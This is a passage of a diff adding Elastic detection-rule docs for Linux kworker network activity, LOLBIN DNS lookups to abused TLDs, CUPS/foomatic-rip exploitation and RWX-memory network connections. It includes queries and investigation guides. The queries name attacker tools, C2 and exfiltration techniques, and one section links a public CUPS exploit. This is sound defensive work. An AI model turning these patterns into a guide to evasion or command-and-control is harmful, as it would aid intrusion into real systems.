"192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8" + ) + )] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Non-Application Layer Protocol +** ID: T1095 +** Reference URL: https://attack.mitre.org/techniques/T1095/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over Alternative Protocol +** ID: T1048 +** Reference URL: https://attack.mitre.org/techniques/T1048/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-detected-via-kworker.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-detected-via-kworker.asciidoc new file mode 100644 index 0000000000..91b5652a11 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-detected-via-kworker.asciidoc @@ -0,0 +1,178 @@ +[[prebuilt-rule-8-19-20-network-activity-detected-via-kworker]] +=== Network Activity Detected via Kworker + +This rule monitors for network connections from a kworker process. kworker, or kernel worker, processes are part of the kernel's workqueue mechanism. They are responsible for executing work that has been scheduled to be done in kernel space, which might include tasks like handling interrupts, background activities, and other kernel-related tasks. Attackers may attempt to evade detection by masquerading as a kernel worker process. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 10 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Activity Detected via Kworker* + + +Kworker processes are integral to Linux systems, handling kernel tasks like interrupts and background activities. Adversaries may exploit these processes to mask malicious network activities, evading detection by blending in with legitimate kernel operations. The detection rule identifies suspicious network connections initiated by kworker processes, excluding trusted IP ranges and ports, to uncover potential command and control activities. + + +*Possible investigation steps* + + +- Review the alert details to confirm the kworker process is indeed initiating network connections, focusing on the process.name field. +- Examine the destination IP address and port to determine if the connection is to an untrusted or suspicious external network, as the rule excludes trusted IP ranges and ports. +- Check historical data for any previous alerts or network activity involving the same kworker process to identify patterns or repeated behavior. +- Investigate the source host for any signs of compromise or unusual activity, such as unauthorized access attempts or unexpected process executions. +- Correlate the network activity with other security events or logs from the same timeframe to identify potential indicators of compromise or related malicious activities. + + +*False positive analysis* + + +- Network monitoring tools or legitimate applications may occasionally use kworker processes for routine checks or updates, leading to false positives. Users can create exceptions for these specific applications by identifying their typical IP ranges and ports. +- Internal network scanning or monitoring activities might trigger alerts. To mitigate this, users should exclude known internal IP ranges and ports used by these activities from the detection rule. +- Automated backup or synchronization services that operate in the background could be mistaken for suspicious activity. Users should identify these services and adjust the rule to exclude their associated network traffic. +- Some system updates or maintenance tasks might temporarily use kworker processes for network communication. Users can whitelist the IP addresses and ports associated with these tasks to prevent false alerts. +- If a specific kworker process consistently triggers alerts without any malicious intent, users should investigate the process's behavior and, if deemed safe, add it to an exception list to avoid future false positives. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further malicious activity and potential lateral movement by the attacker. +- Terminate any suspicious kworker processes identified as initiating unauthorized network connections to halt ongoing malicious activities. +- Conduct a thorough forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized files or processes, and remove them. +- Update and patch the affected system to the latest security standards to close any vulnerabilities that may have been exploited. +- Monitor network traffic for any further suspicious activity originating from other systems, indicating potential spread or persistence of the threat. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are compromised. +- Implement enhanced monitoring and logging for kworker processes and network activities to improve detection of similar threats in the future. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows +the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest to select "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:network and event.action:(connection_attempted or connection_accepted) and +process.name:kworker* and not destination.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.168.0.0/16 or + 224.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" or + "0.0.0.0" +) and not destination.port:("2049" or "111" or "892" or "597") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Rootkit +** ID: T1014 +** Reference URL: https://attack.mitre.org/techniques/T1014/ +* Technique: +** Name: Masquerading +** ID: T1036 +** Reference URL: https://attack.mitre.org/techniques/T1036/ +* Sub-technique: +** Name: Masquerade Task or Service +** ID: T1036.004 +** Reference URL: https://attack.mitre.org/techniques/T1036/004/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Exfiltration Over C2 Channel +** ID: T1041 +** Reference URL: https://attack.mitre.org/techniques/T1041/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-to-a-suspicious-top-level-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-to-a-suspicious-top-level-domain.asciidoc new file mode 100644 index 0000000000..a1c18bfb39 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-activity-to-a-suspicious-top-level-domain.asciidoc @@ -0,0 +1,198 @@ +[[prebuilt-rule-8-19-20-network-activity-to-a-suspicious-top-level-domain]] +=== Network Activity to a Suspicious Top Level Domain + +Identifies DNS queries to commonly abused Top Level Domains by common LOLBINs or executables running from world writable directories or unsigned binaries. This behavior matches on common malware C2 abusing less formal domain names. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.network-* +* logs-sentinel_one_cloud_funnel.* +* logs-crowdstrike.fdr* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cybercrimeinfocenter.org/top-20-tlds-by-malicious-phishing-domains + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Data Source: Sysmon + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Activity to a Suspicious Top Level Domain* + + + +*Possible investigation steps* + + +- Does the alert-local DNS result and domain shape fit the process role? + - Focus: the alert's `event.action`, `dns.question.name`, `dns.Ext.status`, and `dns.resolved_ip`; use "lookup_result" for resolved IPs and "lookup_requested" for failed or request-only lookups. + - Implication: concern rises when the name is algorithmic, newly introduced for that tool, or resolves to unrelated external infrastructure; weaker when the lookup fails immediately or the domain matches a known vendor pattern for that process, but a failed lookup alone does not clear the process. `.onion` lookups signal Tor hidden-service resolution -- treat these as elevated concern and look for Tor binaries or proxy configuration. + +- Is the alerting binary the expected tool in the expected install context? + - Focus: `process.executable`, `process.code_signature.subject_name`, `process.code_signature.trusted`, and `process.pe.original_file_name`. + - Implication: more concerning when the binary is unsigned, renamed, user-writable, or inconsistent with its usual signer. Identity alone does not clear the DNS behavior. + +- Does the command line and launch chain fit a legitimate workflow? + - Focus: `process.command_line`, `process.parent.executable`, and `process.parent.command_line`. + - Implication: more concerning if a document, script, or unexpected launcher started the process, or if the arguments look staged or evasive. + +- Does the same process resolve the domain and then communicate with the returned infrastructure? + - Why: a suspicious DNS lookup carries more weight when the same process reuses the returned IPs for follow-on connections or transfer behavior in the same window. + - Focus: process-scoped "lookup_result" and connection events on the same `host.id`, using `dns.resolved_ip` to bridge `dns.question.name` to `destination.ip`; treat `destination.as.organization.name` as ownership context rather than a verdict. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: if the transform returns no results, broaden to host-scoped network events around the alert time. + - Implication: escalate when the same process repeatedly resolves the domain, connects to the returned IPs, or shows suspicious transfer patterns; lower suspicion when activity is limited to a one-off lookup with no matching connection behavior. Missing follow-on network telemetry is unresolved, not benign. + +- Do file events or child processes from the same process chain show download-and-execute or artifact staging? + - Focus: same-host file and process activity around the alert time, scoped to the alert's `process.entity_id`, with attention to `file.path`, `file.origin_url`, `file.Ext.windows.zone_identifier`, and later `process.executable` reuse of a written path. + - Hint: if file coverage is missing, keep the artifact review bounded to the same host, lineage, and alert window rather than treating the lookup as harmless. + - Implication: staging risk rises when the chain writes scripts, archives, or executables to user-writable paths and later runs them. + +- Does the same process chain pivot to direct-IP traffic, lookalike domains, or TLD rotation that this rule would miss? + - Why: attackers often keep the same process chain but swap to a nearby domain, a different abusive TLD, or direct-IP egress after the first lookup. + - Focus: reuse the process-scoped network results from the prior step to look for direct `destination.ip` connections with no preceding DNS, sibling `dns.question.name` values under different TLDs, or repeated reuse of the same `dns.resolved_ip` across multiple domains. !{investigate{"description":"","label":"Network activity for the alerting process","providers":[[{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the process shifts from the flagged lookup to direct-IP traffic, nearby domain variants, or fast domain and TLD rotation on the same infrastructure; lower suspicion when surrounding DNS stays limited to one recognized vendor domain family with no adjacent variant traffic. + +- If the local DNS, process, or artifact evidence stays suspicious or unresolved, does related alert history show this DNS pattern is isolated or part of broader compromise? + - Focus: related alerts for the same `host.id` and `user.id` in the last 48 hours to test whether the same lineage, domain family, or follow-on activity recurs on the asset or follows the user across hosts. + - !{investigate{"description":"","label":"Alerts associated with the user","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"user.id","queryType":"phrase","value":"{{user.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: broaden scope when the host or user view shows repeated suspicious lineage, related delivery or persistence alerts, or reuse of the same infrastructure on other assets; keep scope narrow when the pattern stays confined to one recognized workflow with no contradictory evidence. + +- Escalate when DNS fit, process context, follow-on communication, artifacts, or variant traffic point to unauthorized C2 or delivery; close only when all evidence aligns with a recognized benign workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Software distribution, developer tooling, or security-testing workflows can legitimately query less common TLDs. Confirm by matching the same `process.executable`, `process.code_signature.subject_name`, `dns.question.name` family, and `host.id` across prior alerts or against workflow records. +- Before creating an exception, build on `process.executable`, `process.code_signature.subject_name`, the `dns.question.name` family, and `host.id` or `user.id`. Avoid exceptions on the TLD alone, `process.name` alone, or `host.id` alone. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the `process.executable`, `process.code_signature.subject_name`, `process.parent.command_line`, `dns.question.name` family, and bounded `host.id` or `user.id` scope that proved the workflow. Create an exception only if that same pattern recurs consistently across prior alerts from this rule. +- If suspicious but unconfirmed, first preserve `dns.question.name`, `dns.resolved_ip`, connected `destination.ip` values, the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, and any staged `file.path` values. Then apply reversible containment such as temporary DNS or egress blocks for the observed infrastructure or heightened monitoring on `host.id`. Escalate to host isolation only if the preserved evidence shows likely follow-on communication or staging and the asset role can tolerate stronger containment. +- If confirmed malicious, document the alert's `process.entity_id`, `process.command_line`, `process.parent.command_line`, written `file.path` artifacts, and connected `dns.question.name` or `destination.ip` infrastructure before initiating response actions. Prefer endpoint isolation as the first containment step; if direct endpoint response is unavailable, escalate with the preserved artifact set to the team that can isolate the host. Block the confirmed malicious domains and direct-IP destinations before terminating processes or deleting files. +- After containment, review other `host.id` and `user.id` alerts for the same `dns.question.name`, `destination.ip`, or `process.executable` pattern before deleting artifacts or restoring access. Then eradicate staged binaries, scripts, and any persistence or proxy changes identified during the file or variant review, and remediate the entry path that allowed the suspicious process to run. If the same suspicious window includes credential, admin-tool, or remote-session alerts, review those sessions for follow-on misuse and reset exposed credentials when the evidence supports compromise. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +*Additional data sources* + + +This rule also supports the following third-party data sources. For setup instructions, refer to the links below: + +- https://ela.st/crowdstrike-integration[CrowdStrike] +- https://ela.st/sentinel-one-cloud-funnel[SentinelOne Cloud Funnel] +- https://ela.st/sysmon-event-3-setup[Sysmon Event ID 3 - Network Connection] + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type == "windows" and dns.question.name != null and + ( + process.name : ("MSBuild.exe", "mshta.exe", "wscript.exe", "powershell.exe", "pwsh.exe", "msiexec.exe", "rundll32.exe", + "bitsadmin.exe", "InstallUtil.exe", "python.exe", "regsvr32.exe", "dllhost.exe", "node.exe", "curl.exe", + "java.exe", "javaw.exe", "*.pif", "*.com", "*.scr") or + (?process.code_signature.trusted == false or ?process.code_signature.exists == false) or + ?process.code_signature.subject_name : ("AutoIt Consulting Ltd", "OpenJS Foundation", "Python Software Foundation") or + ?process.executable : ( + "?:\\Users\\Public\\*.exe", "?:\\ProgramData\\*.exe", "?:\\Users\\*\\Downloads\\*.exe", + "\\Device\\HarddiskVolume*\\Users\\Public\\*.exe", "\\Device\\HarddiskVolume*\\ProgramData\\*.exe", "\\Device\\HarddiskVolume*\\Users\\*\\Downloads\\*.exe" + ) + ) and +dns.question.name regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host|zone)""" and + +not process.executable : ( + "?:\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe", + "\\Device\\HarddiskVolume*\\ProgramData\\Microsoft\\Windows Defender\\platform\\*\\*.exe" +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Trusted Developer Utilities Proxy Execution +** ID: T1127 +** Reference URL: https://attack.mitre.org/techniques/T1127/ +* Sub-technique: +** Name: MSBuild +** ID: T1127.001 +** Reference URL: https://attack.mitre.org/techniques/T1127/001/ +* Technique: +** Name: System Binary Proxy Execution +** ID: T1218 +** Reference URL: https://attack.mitre.org/techniques/T1218/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-by-cups-or-foomatic-rip-child.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-by-cups-or-foomatic-rip-child.asciidoc new file mode 100644 index 0000000000..281e8f0a7f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-by-cups-or-foomatic-rip-child.asciidoc @@ -0,0 +1,190 @@ +[[prebuilt-rule-8-19-20-network-connection-by-cups-or-foomatic-rip-child]] +=== Network Connection by Cups or Foomatic-rip Child + +This detection rule addresses multiple vulnerabilities in the CUPS printing system, including CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, and CVE-2024-47177. Specifically, this rule detects network connections initiated by a child processes of foomatic-rip. These flaws impact components like cups-browsed, libcupsfilters, libppd, and foomatic-rip, allowing remote unauthenticated attackers to manipulate IPP URLs or inject malicious data through crafted UDP packets or network spoofing. This can result in arbitrary command execution when a print job is initiated. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/cups-overflow +* https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/ +* https://gist.github.com/stong/c8847ef27910ae344a7b5408d9840ee1 +* https://github.com/RickdeJager/cupshax/blob/main/cupshax.py + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Use Case: Vulnerability +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Network Connection by Cups or Foomatic-rip Child* + + +This rule identifies potential exploitation attempts of several vulnerabilities in the CUPS printing system (CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177). These vulnerabilities allow attackers to send crafted IPP requests or manipulate UDP packets to execute arbitrary commands or modify printer configurations. Attackers can exploit these flaws to inject malicious data, leading to Remote Code Execution (RCE) on affected systems. + + +*Possible Investigation Steps* + + +- Investigate the incoming IPP requests or UDP packets targeting port 631. +- Examine the printer configurations on the system to determine if any unauthorized printers or URLs have been added. +- Investigate the process tree to check if any unexpected processes were triggered as a result of IPP activity. Review the executable files for legitimacy. +- Check for additional alerts related to the compromised system or user within the last 48 hours. +- Investigate network traffic logs for suspicious outbound connections to unrecognized domains or IP addresses. +- Check if any of the contacted domains or addresses are newly registered or have a suspicious reputation. +- Retrieve any scripts or executables dropped by the attack for further analysis in a private sandbox environment: +- Analyze potential malicious activity, including: + - Attempts to communicate with external servers. + - File access or creation of unauthorized executables. + - Cron jobs, services, or other persistence mechanisms. + + +*Related Rules* + +- Cupsd or Foomatic-rip Shell Execution - 476267ff-e44f-476e-99c1-04c78cb3769d +- Printer User (lp) Shell Execution - f86cd31c-5c7e-4481-99d7-6875a3e31309 +- Suspicious Execution from Foomatic-rip or Cupsd Parent - 986361cd-3dac-47fe-afa1-5c5dd89f2fb4 +- File Creation by Cups or Foomatic-rip Child - b9b14be7-b7f4-4367-9934-81f07d2f63c4 + + +*False Positive Analysis* + + +- This activity is rarely legitimate. However, verify the context to rule out non-malicious printer configuration changes or legitimate IPP requests. + + +*Response and Remediation* + + +- Initiate the incident response process based on the triage outcome. +- Isolate the compromised host to prevent further exploitation. +- If the investigation confirms malicious activity, search the environment for additional compromised hosts. +- Implement network segmentation or restrictions to contain the attack. +- Stop suspicious processes or services tied to CUPS exploitation. +- Block identified Indicators of Compromise (IoCs), including IP addresses, domains, or hashes of involved files. +- Review compromised systems for backdoors, such as reverse shells or persistence mechanisms like cron jobs. +- Investigate potential credential exposure on compromised systems and reset passwords for any affected accounts. +- Restore the original printer configurations or uninstall unauthorized printer entries. +- Perform a thorough antimalware scan to identify any lingering threats or artifacts from the attack. +- Investigate how the attacker gained initial access and address any weaknesses to prevent future exploitation. +- Use insights from the incident to improve detection and response times in future incidents (MTTD and MTTR). + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type == "linux" and event.type == "start" and event.action == "exec" and + process.parent.name == "foomatic-rip" and + process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish")] by process.entity_id + [network where host.os.type == "linux" and event.type == "start" and + event.action == "connection_attempted"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Technique: +** Name: Exploitation for Client Execution +** ID: T1203 +** Reference URL: https://attack.mitre.org/techniques/T1203/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-from-binary-with-rwx-memory-region.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-from-binary-with-rwx-memory-region.asciidoc new file mode 100644 index 0000000000..e28f783736 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-network-connection-from-binary-with-rwx-memory-region.asciidoc @@ -0,0 +1,168 @@ +[[prebuilt-rule-8-19-20-network-connection-from-binary-with-rwx-memory-region]] +=== Network Connection from Binary with RWX Memory Region + +Monitors for the execution of a unix binary with read, write and execute memory region permissions, followed by a network connection. The mprotect() system call is used to change the access protections on a region of memory that has already been allocated. This syscall allows a process to modify the permissions of pages in its virtual address space, enabling or disabling permissions such as read, write, and execute for those pages. RWX permissions on memory is in many cases overly permissive, and should (especially in conjunction with an outbound network connection) be analyzed thoroughly. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* +* logs-endpoint.events.network* +* logs-endpoint.events.process* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://man7.org/linux/man-pages/man2/mprotect.2.html +* https://www.elastic.co/security-labs/linux-detection-engineering-with-auditd + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Execution +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Resources: Investigation Guide + +*Version*: 9 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Network Connection from Binary with RWX Memory Region* + + +In Linux environments, the `mprotect()` system call adjusts memory permissions, potentially enabling read, write, and execute (RWX) access. Adversaries exploit this to execute malicious code in memory, often followed by network connections to exfiltrate data or communicate with command-and-control servers. The detection rule identifies such behavior by monitoring for RWX memory changes and subsequent network activity, flagging suspicious processes for further analysis. + + +*Possible investigation steps* + + +- Review the process details using the process.pid and process.name fields to identify the binary that requested RWX memory permissions. +- Investigate the context of the mprotect() syscall by examining the process's command line arguments and parent process to understand its origin and purpose. +- Analyze the network connection details, focusing on the destination.ip field, to determine if the connection was made to a known malicious IP or an unusual external server. +- Check the process's execution history and any associated files or scripts to identify potential malicious payloads or scripts that may have been executed. +- Correlate the event with other security logs or alerts from the same host.id to identify any related suspicious activities or patterns. +- Assess the risk and impact by determining if any sensitive data was accessed or exfiltrated during the network connection attempt. + + +*False positive analysis* + + +- Legitimate software updates or patches may temporarily use RWX memory regions. Monitor the specific process names and verify if they are associated with known update mechanisms. Consider adding these processes to an exception list if they are verified as safe. +- Development tools and environments often require RWX permissions for debugging or testing purposes. Identify these tools and exclude them from the rule if they are part of a controlled and secure development environment. +- Certain system services or daemons, like custom web servers or network services, might use RWX memory regions for legitimate reasons. Review the process names and network destinations to determine if they are part of expected system behavior, and exclude them if confirmed. +- Security software or monitoring tools may exhibit this behavior as part of their normal operation. Validate these processes and consider excluding them if they are recognized as part of your security infrastructure. +- Custom scripts or automation tasks that require dynamic code execution might trigger this rule. Ensure these scripts are reviewed and approved, then exclude them if they are deemed non-threatening. + + +*Response and remediation* + + +- Isolate the affected host from the network immediately to prevent further data exfiltration or communication with potential command-and-control servers. +- Terminate the suspicious process identified by the detection rule to halt any ongoing malicious activity. +- Conduct a memory dump of the affected system to capture the current state for forensic analysis, focusing on the RWX memory regions. +- Review and analyze the network logs to identify any external IP addresses or domains the process attempted to connect to, and block these on the network firewall. +- Patch and update the affected system to the latest security updates to mitigate any known vulnerabilities that could have been exploited. +- Implement stricter memory protection policies to prevent processes from obtaining RWX permissions unless absolutely necessary. +- Escalate the incident to the security operations center (SOC) for further investigation and to determine if this is part of a larger attack campaign. + +==== Setup + + + +*Setup* + + +This rule requires the use of the `auditd_manager` integration. `Auditd_manager` is a tool designed to simplify and enhance the management of the audit subsystem in Linux systems. It provides a user-friendly interface and automation capabilities for configuring and monitoring system auditing through the auditd daemon. With `auditd_manager`, administrators can easily define audit rules, track system events, and generate comprehensive audit reports, improving overall security and compliance in the system. The following steps should be executed in order to install and 